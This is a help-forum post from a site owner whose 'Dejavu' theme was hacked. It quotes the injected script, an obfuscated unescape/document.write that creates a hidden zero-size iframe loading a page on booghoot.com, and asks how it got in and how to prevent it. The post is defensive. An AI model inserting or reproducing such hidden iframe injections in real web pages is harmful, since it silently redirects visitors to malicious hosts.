StartAdministrationexploit inserted into Dejavu

exploit inserted into Dejavu

-

</body><script type=”text/javascript”>
  <!–
  document.write(unescape(‘%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%62%6F%6F%67%68%6F%6F%74%2E%63%6F%6D%2F%74%72%61%66%66%2F%67%6F%2E%70%68%70%3F%73%69%64%3D%31%22%20%77%69%64%74%68%3D%22%30%22%20%68%65%69%67%68%74%3D%22%30%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%3E%3C%2F%69%66%72%61%6D%65%3E%0A’));
  //–>
  </script><script type=”text/javascript”>
  <!–
  document.write(unescape(‘%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%62%6F%6F%67%68%6F%6F%74%2E%63%6F%6D%2F%74%72%61%66%66%2F%67%6F%2E%70%68%70%3F%73%69%64%3D%31%22%20%77%69%64%74%68%3D%22%30%22%20%68%65%69%67%68%74%3D%22%30%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%3E%3C%2F%69%66%72%61%6D%65%3E%0A’));
  //–>
  </script>

 

 

yesterday my homepage got hacked. Somehow a script got inserted into dejavu. in the output of the website I got

1) right before <head>
2) right after </body> at the bottom of the website

following code: each time twice (so in total 4 x)

which puts a link on the website that points to booghoot.com.
Kaspersky does not let my website be shown.

Searching the source of the website for several keywords within the script I didnt find the right code.
Turning off all Plugins didnt help

I re-installed DEJAVU new and got rid of this code.

Maybe you could help me trace the position how and where this script was inserted into my homepage and how to prevent that in future

‘<script type=”text/javascript”>
<!–
document.write(unescape(‘%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%62%6F%6F%67%68%6F%6F%74%2E%63%6F%6D%2F%74%72%61%66%66%2F%67%6F%2E%70%68%70%3F%73%69%64%3D%31%22%20%77%69%64%74%68%3D%22%30%22%20%68%65%69%67%68%74%3D%22%30%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%3E%3C%2F%69%66%72%61%6D%65%3E%0A’));
//–>’

 

 

Kommentieren Sie den Artikel

Bitte geben Sie Ihren Kommentar ein!
Bitte geben Sie hier Ihren Namen ein

×